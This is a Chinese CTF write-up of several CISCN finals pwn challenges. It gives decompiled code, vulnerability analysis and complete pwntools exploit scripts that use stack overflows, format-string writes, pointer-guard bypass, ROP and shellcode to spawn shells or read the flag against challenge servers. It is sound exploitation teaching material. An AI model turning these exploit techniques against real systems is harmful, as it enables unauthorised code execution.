前言
比赛第一天为非典型性awd,第二天为解题赛,这里分析第一天的pwn3和第二天的题。
day1-pwn3
程序逻辑
主程序有一个死循环,每次启动一个新线程。线程函数里每次先将返回地址保存到bss处,之后调用gets读取栈变量,此处有溢出。而printf_chk函数是一个安全的格式化字符串函数,不可使用诸如%k$p/%n
之类的格式化字符串。在使用%p
泄露地址时,需要用连续的%p
作为输入。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
pthread_t newthread; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) == -1 )
puts("create thread failed");
pthread_join(newthread, 0LL);
}
}
//
unsigned __int64 __fastcall start_routine(void *a1)
{
char v2; // [rsp+0h] [rbp-40h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
__int64 retaddr; // [rsp+48h] [rbp+8h]
v3 = __readfsqword(0x28u);
ret_address = (__int64)&retaddr;
save_ret = retaddr;
gets(&v2);
__printf_chk(1LL, &v2);
*(_QWORD *)ret_address = save_ret;
return v3 - __readfsqword(0x28u);
}
漏洞利用
由于在返回前子函数会将之前保存的地址再赋值给栈上对应位置处,因此溢出返回地址没有意义,比赛的时候我们通过fuzz发现输入a*8*256
会造成crash,发现这里的rbx可控,进而可以控制rdi及rax,任意函数调用。
赛后去查了下源码,发现退出的函数位于stdlib/cxa_thread_atexit_impl.c
,代码如下。struct dtor_list
结构体的成员包含有func
和obj
,因此可以利用这个调用链,溢出到cur
结构体,伪造func和obj,最后调用system("/bin/sh")
。
另外注意线程栈是mmap出来的,其和libc之间的偏移是固定的,我们可以通过leak libc地址间接得到输入地址。
在最终调用func之前,还有一次ror rax,0x11
和xor rax, gs[0x30]
,需要leak出tls的pointer_guard
成员。
* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
/*
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
*/
exp.py
#coding:utf-8
from pwn import *
import sys,os,string
elf_path = './pwn'
remote_libc_path = ''
#P = ELF(elf_path)
context(os='linux',arch='amd64')
context.terminal = ['tmux','split','-h']
#context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()
#libc = ELF(remote_libc_path)
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
def ROR(data, shift, size=64):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)
payload = '%p'*13
sleep(0.1)
#raw_input()
p.sendline(payload)
p.recvn(14)
libcbase = int(p.recv(14),16)-libc.sym['_IO_2_1_stdin_']
log.success('libcbase = '+hex(libcbase))
p.recvuntil('7000x')
p.recvuntil('7000x')
canary = int(p.recv(16),16)
log.success('canary = '+hex(canary))
#gdb.attach(p)
gadgets = [0x4f2c5,0x4f322,0x10a38c]
shell_addr = libcbase + gadgets[0]
#tls_addr = libcbase - 0x900 + 0x30
tls_addr = libcbase + 0x816740 + 0x30
print hex(tls_addr)
fake_addr= 0x12345678
print hex(shell_addr)
payload = "%p"*6+"%s"+"%s"+p64(tls_addr)+p64(libcbase+libc.sym['environ'])
#payload = 'a'*0x38+p64(canary)+p64(0xdeadbeef)+'a'*8*240+p64(fake_addr)
#payload = payload.ljust(0x500,'a')
#gdb.attach(p,'''
# b *(0x555555554000+0x11E0)
# b *(0x555555554000+0x128E)
# ''')
#raw_input()
sleep(0.1)
p.sendline(payload)
p.recvuntil("0x7325732570257025")
guard = u64(p.recvn(8))
log.success("fs 0x30 guard " + hex(guard))
stack_addr = u64(p.recvn(6).ljust(8,'\x00'))
log.success("stack addr => " + hex(stack_addr))
input_addr = libcbase - 0x1150
#get shell
#raw_input()
sleep(0.1)
p.sendline(payload)
#system_enc = circular_shift_left(libcbase+libc.sym['system'],0x11,64)
system_enc = (libcbase+libc.sym['system']) ^ guard
system_enc = ROL(system_enc,0x11)
payload = p64(system_enc)+p64(libcbase+libc.search("/bin/sh").next())
payload += '\x00'*0x28
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(input_addr)*246
payload += p64(input_addr)
sleep(0.1)
#raw_input()
p.sendline(payload)
p.interactive()
day2-pwn1
程序逻辑
基础的栈溢出,arm32架构
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-104h]
setvbuf((FILE *)stdout, 0, 2, 0);
printf("input: ");
read(0, &buf, 0x300u);
return 0;
}
漏洞利用
程序的gadget很少,arm调用的前四个参数寄存器是r0-r4,这里看到只有r3/r4可控.
─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*›
╰─$ file ./bin
./bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, not stripped
╭─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*›
╰─$ checksec ./bin
[*] '/home/wz/Desktop/CTF/ciscn_final/day2/pwn1pm/bin'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
╭─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*›
╰─$ ROPgadget --binary ./bin --only 'pop' 1 ↵
Gadgets information
============================================================
0x00010348 : pop {r3, pc}
0x00010498 : pop {r4, pc}
Unique gadgets found: 2
查看一下汇编,发现这里的r0、r1都可以间接控制,从而任意函数调用。
漏洞利用
这里有两种思路,第一种是劫持返回地址到printf前的地址,通过最后的pop {fp, pc}
控制fp为bss地址,pc到pop_r3_pc来劫持r3为printf@got,再去执行printf泄露libc地址,最后read溢出执行system("/bin/sh")
。
另一种是利用qemu-arm启动时的特性,NX保护实际上并没有开启,bss段可执行,第一次溢出栈迁移到bss,并部署好shellcode,第二次跳到对应位置执行shellcode。
rop.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bin')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
if debug == 1:
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
elif debug == 2:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
p_r3_pc = 0x00010348
def exp():
#leak libc
bss = elf.bss()+0x500
sc = asm(shellcraft.sh())
payload = 'a'*0x100
payload += p32(bss+0x104)
payload += p32(p_r3_pc)
payload += p32(elf.got['printf'])
payload += p32(0x104d8)
p.recvuntil("input: ")
raw_input()
p.sendline(payload)
libc_base = u32(p.recvn(4)) - libc.sym['printf']
log.success("libc base => " + hex(libc_base))
raw_input()
p_r0_r = libc_base + 0x00056b7c
payload = sc
payload = payload.ljust(0x100,'\x00')
payload += p32(bss+4)
payload += p32(p_r0_r)
payload += p32(libc_base+0x000ca574)+p32(0)
payload += p32(libc_base+libc.sym['system'])
p.sendline(payload)
p.interactive()
exp()
sc.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bin')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
if debug == 1:
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
elif debug == 2:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
p_r3_pc = 0x00010348
def exp():
#leak libc
bss = elf.bss()+0x500
sc = asm(shellcraft.sh())
payload = 'a'*0x100
payload += p32(bss+0x104)
payload += p32(p_r3_pc)
payload += p32(bss)
payload += p32(0x104e4)
raw_input()
p.sendline(payload)
raw_input()
payload = sc
payload = payload.ljust(0x100,'\x00')
payload += p32(bss+4)
payload += p32(bss)
p.sendline(payload)
p.interactive()
exp()
day2-pwn2
程序逻辑
VMPwn类型的题目,程序没有开PIE。
在主要函数里的0xe指令可以控制*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr)
为任意值,结合0x2指令可以实现地址越界写,0x1指令可以实现地址越界读。但是越界只能往高地址越界读写。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 i; // [rsp+0h] [rbp-30h]
node *node_addr; // [rsp+8h] [rbp-28h]
unsigned __int64 nmemb; // [rsp+10h] [rbp-20h]
unsigned __int64 nbytes; // [rsp+18h] [rbp-18h]
unsigned __int64 code_sz; // [rsp+20h] [rbp-10h]
node_addr = (node *)calloc(0x40uLL, 1uLL);
printf("stack size >", 1LL);
nmemb = read_int();
if ( nmemb > 0xFFFFF || nmemb <= 0xFFF || nmemb & 0xFFF )
{
puts("invalid stack size!");
exit(0);
}
node_addr->stack_sz = nmemb;
node_addr->stack_sz_divie_2 = nmemb >> 1;
node_addr->stack_addr = (__int64)calloc(nmemb, 1uLL);
if ( !node_addr->stack_addr )
exit(-1);
printf("data size >", 1LL);
nbytes = read_int();
if ( nbytes > 0xFFFFF || nbytes <= 0xFFF || nbytes & 0xFFF )
{
puts("invalid data size!");
exit(0);
}
node_addr->data_sz = nbytes;
node_addr->data_addr = (__int64)calloc(nbytes, 1uLL);
if ( !node_addr->data_addr )
exit(-1);
printf("initial data >", 1LL);
read(0, (void *)node_addr->data_addr, nbytes);
printf("code size >");
code_sz = read_int();
if ( code_sz > 0xFFFFF || code_sz <= 0xFFF || code_sz & 0xFFF )
{
puts("invalid code size!");
exit(0);
}
node_addr->code_sz = code_sz;
node_addr->code_addr = (__int64)calloc(code_sz, 1uLL);
node_addr->_rip = 0LL;
if ( !node_addr->code_addr )
exit(-1);
printf("initial code >", 1LL);
read(0, (void *)node_addr->code_addr, code_sz);
for ( i = 0LL; i <= 0x7FF && !(unsigned int)main_func(node_addr); ++i )
;
printf("data: ");
write(1, (const void *)node_addr->data_addr, node_addr->data_sz);
puts(&byte_40179C);
return 0LL;
}
//
signed __int64 __fastcall main_func(node *node_addr)
{
signed __int64 result; // rax
__int64 v2; // ST20_8
__int64 v3; // ST20_8
__int64 v4; // ST20_8
__int64 v5; // ST20_8
__int64 v6; // ST20_8
__int64 v7; // ST20_8
__int64 v8; // ST20_8
__int64 v9; // ST20_8
__int64 v10; // ST20_8
__int64 v11; // ST20_8
if ( node_addr->_rip > (unsigned __int64)(node_addr->code_sz - 1)
|| node_addr->stack_sz_divie_2 > (unsigned __int64)(node_addr->stack_sz - 8) )
{
return 0xFFFFFFFFLL;
}
switch ( *(unsigned __int8 *)(node_addr->code_addr + node_addr->_rip) )
{
case 0u:
result = 0xFFFFFFFFLL;
break;
case 1u:
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )// arb read
{
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = *(_QWORD *)(8LL * (*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> 3) + node_addr->data_addr);
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 2u: // mov
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
*(_QWORD *)(node_addr->data_addr
+ 8LL
* (*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> 3)) = *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 0x10LL;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 3u: // add
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v2 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
+ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v2;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 4u: // sub
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v3 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
- *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v3;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 5u: // *
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v4 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
* *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v4;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 6u: // /
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
if ( *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)) )
{
v5 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
/ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v5;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
}
else
{
result = 0xFFFFFFFFLL;
}
break;
case 7u: // %
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
if ( *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)) )
{
v6 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3))
% *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v6;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
}
else
{
result = 0xFFFFFFFFLL;
}
break;
case 8u: // &
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v7 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) & *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v7;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 9u: // |
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v8 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) | *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v8;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xAu: // ^
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v9 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) ^ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v9;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xBu: // ~
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )
{
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = ~*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3));
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xCu: // <<
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v10 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) << *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v10;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xDu: // >>
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) )
{
v11 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1));
node_addr->stack_sz_divie_2 += 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v11;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xEu:
if ( node_addr->stack_sz_divie_2 > 7uLL ) // 可控
{
node_addr->stack_sz_divie_2 -= 8LL;
*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = *(_QWORD *)(node_addr->code_addr + node_addr->_rip + 1);
node_addr->_rip += 8LL;
goto LABEL_56;
}
result = 0xFFFFFFFFLL;
break;
case 0xFu: // add pointer
if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )
{
node_addr->stack_sz_divie_2 += 8LL;
LABEL_56:
++node_addr->_rip;
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
break;
default:
result = 0xFFFFFFFFLL;
break;
}
return result;
}
漏洞利用
当分配大小大于等于0x23000时会触发mmap,测试发现这里的map地址刚好在ld.so可写区域上方,偏移固定。而_rtld_global+3848
处有一函数指针在函数退出时会被调用,参数为_rtld_global+2312
,通过越界读写配合add/sub指令布置system函数指针及/bin/sh
字符串,最终在函数退出时调用system("/bin/sh")
exp.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./StackMachine')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./StackMachine')
elif debug == 2:
libc = ELF('./libc.so.6')
p = process('./StackMachine',env={'LD_PRELOAD':'./libc.so.6'})
else:
libc = ELF('./libc.so.6')
p = remote('f.buuoj.cn',20173)
def AllocStack(sz):
p.sendlineafter("stack size >",str(sz))
def AllocData(sz,data):
p.sendlineafter("data size >",str(sz))
p.recvuntil("initial data >")
p.sendline(data)
def AllocCode(sz,code):
p.sendlineafter("code size >",str(sz))
p.recvuntil("tial code >")
p.sendline(code)
def exp():
#leak libc
AllocStack(0xff000)
main_addr = 0x401346
offset = 0
gdb.attach(p,'b *0x400b9e\nb* 0x400a7a')
AllocData(0x23000,p64(0x3858f0)+"/bin/sh\x00")
payload = p8(0xe)+p64(0)
payload += p8(1)
payload += p8(0xe)+p64(0x14af38)
payload += p8(1)
payload += p8(4)
payload += p8(0xe)+p64(0x14af38)
payload += p8(2)
payload += p8(0xe)+"/bin/sh\x00"
payload += p8(0xe)+p64(0x14af38-0x600)
payload += p8(2)
#payload += p8(0xe)+p64(main_addr)
#payload += p8(0xe)+p64(0x23000-8)
#payload += p8(2)
#payload += p8(0xe)+p64(main_addr)
AllocCode(0x1000,payload)
p.interactive()
exp()
pwn3
程序逻辑
逻辑和2019年d3ctf的unprintableV一模一样,不一样的是这里的bss上的stdout对应位置不可写。不可以用之前方式先修改bss的stdout.fileno为2,再leak和write rops。
int main_func_0()
{
int result; // eax
char *v1; // [rsp+8h] [rbp-8h]
v1 = s1;
puts("Oh! I hear you love Ciscn2020, so I have a gift for you!");
printf("Gift: %p\n", &v1);
puts("Come in quickly, I will close the door.");
close(1);
while ( 1 )
{
result = strncmp(s1, "Ciscn20", 7uLL);
if ( !result )
break;
main_func();
}
return result;
}
//
int main_func()
{
get_input(s1, 0x120LL);
return printf(s1, 0x120LL);
}
漏洞利用
通过测试发现栈上残存了一些stdout指针,不过因为其位置位于printf字符串寻址的低地址处,无法控制,修改printf返回地址或者main_func返回地址的低字节到start函数,在__libc_start_main调用的时候会大幅度减栈,使得这些stdout指针转移到新的printf函数栈帧高地址处,从而可以覆写其fileno为2来重新输出内容。
在之后在栈上布置pop rsp
及input_addr
,触发时栈迁移到bss来执行rop读取flag。
exp.py
由于写入字节数不可大于0x2000,所以要爆破栈地址3/16,proc_base地址1/2字节,概率大概是1/(16*16/3)。
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./anti.bak')
libc_offset = 0x3c4b20
gadgets = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]
#p = process('./anti.bak')
def WriteVal(stack_low,off,val,signle=False):
payload = "%"+str(stack_low+off)+"c%6$hn"
sleep(0.02)
p.sendline(payload)
if not signle:
payload = "%"+str(val)+"c%10$hn"
else:
payload = "%"+str(val)+"c%10$hhn"
sleep(0.02)
p.sendline(payload)
def exp():
#leak stack
p.recvuntil("Oh! I hear you love Ciscn2020, so I have a gift for you!")
p.recvuntil("Gift: 0x")
stack_addr = int(p.recvline().strip('\n'),16)
log.success("stack addr => " + hex(stack_addr))
#for item in gadgets:
# print hex(0x7ffff7a0d000+item)
sleep(0.02)
stack_low = stack_addr & 0xffff
if stack_low > 0x2000:
return 0
stack_low_1 = stack_addr & 0xff
stack_low_2 = (stack_addr & 0xffff) >> 8
payload = '%'+str(stack_low-0x20)+"c%6$hhn"
sleep(0.02)
p.recvuntil("Come in quickly, I will close the door.\n")
p.sendline(payload)
payload = '%'+str(0xa90)+"c%10$hn"
sleep(0.02)
p.sendline(payload)
#change the fileno position
#%29$p
WriteVal(stack_low,-0x70,0x90,signle=True)
payload = "%"+str(2)+"c%29$hhn"
sleep(0.02)
p.sendline(payload)
#leak libc
payload = "-%13$p+"
sleep(0.02)
p.sendline(payload)
print "got here"
p.recvuntil("-0x")
libc_base = int(p.recvuntil("+",drop=True),16) - 240 - libc.sym['__libc_start_main']
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
#
payload = "-%p+"
sleep(0.02)
p.sendline(payload)
p.recvuntil("0x")
proc_base = int(p.recvuntil("+",drop=True),16) - (0x5616ed121b04+0x540-0x00005616ecf20000)
log.success("proc base => " + hex(proc_base))
raw_input()
p_rsp_r3 = proc_base + 0x000000000000104d
gdb.attach(p,'b printf')
WriteVal(stack_low,-0x100,p_rsp_r3&0xff,signle=True)
WriteVal(stack_low,-0x100+1,(p_rsp_r3&0xffff)>>8,signle=True)
WriteVal(stack_low,-0x100+2,(p_rsp_r3&0xffffff)>>16,signle=True)
#write bss addr to stack
target = proc_base + 0x202040
WriteVal(stack_low,-0xf8,target&0xff,signle=True)
WriteVal(stack_low,-0xf8+1,(target&0xffff)>>8,signle=True)
WriteVal(stack_low,-0xf8+2,(target&0xffffff)>>16,signle=True)
#write pop rsp to stack
#
p_rdi = libc_base + 0x0000000000021112
p_rsi = libc_base + 0x00000000000202f8
p_rdx = libc_base + 0x0000000000001b92
p_rax = libc_base + 0x000000000003a738
syscall = libc_base + 0x00000000000bc3f5
payload = "Ciscn20\x00"
payload += "./flag\x00\x00"*2
payload += flat([
p_rdi,target+0x8,p_rsi,0,p_rdx,0,p_rax,2,syscall,
p_rdi,1,p_rsi,target+0x200,p_rdx,0x30,p_rax,0,syscall,
p_rdi,2,p_rsi,target+0x200,p_rdx,0x30,p_rax,1,syscall
])
sleep(0.02)
p.sendline(payload)
return 1
#exp()
#p.interactive()
while True:
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./anti.bak')
else:
libc = ELF('./libc.so.6')
p = remote('183.129.189.62',58704)
a = 0
try:
a = exp()
if a == 0:
p.close()
continue
else:
p.interactive()
p.close()
except:
p.close()
continue
后言
day2-pwn3这道题当时做的时候弹栈的方法没有想的很明白,劫持到了一个sub rsp,0x10
的gadget,在随后的执行过程中stdout指针被新值覆写故放弃了这个思路,之后西湖论剑的初赛看到fmyy
师傅分享的劫持到start函数的思路,遂复现了一遍,非常感觉师傅的分享。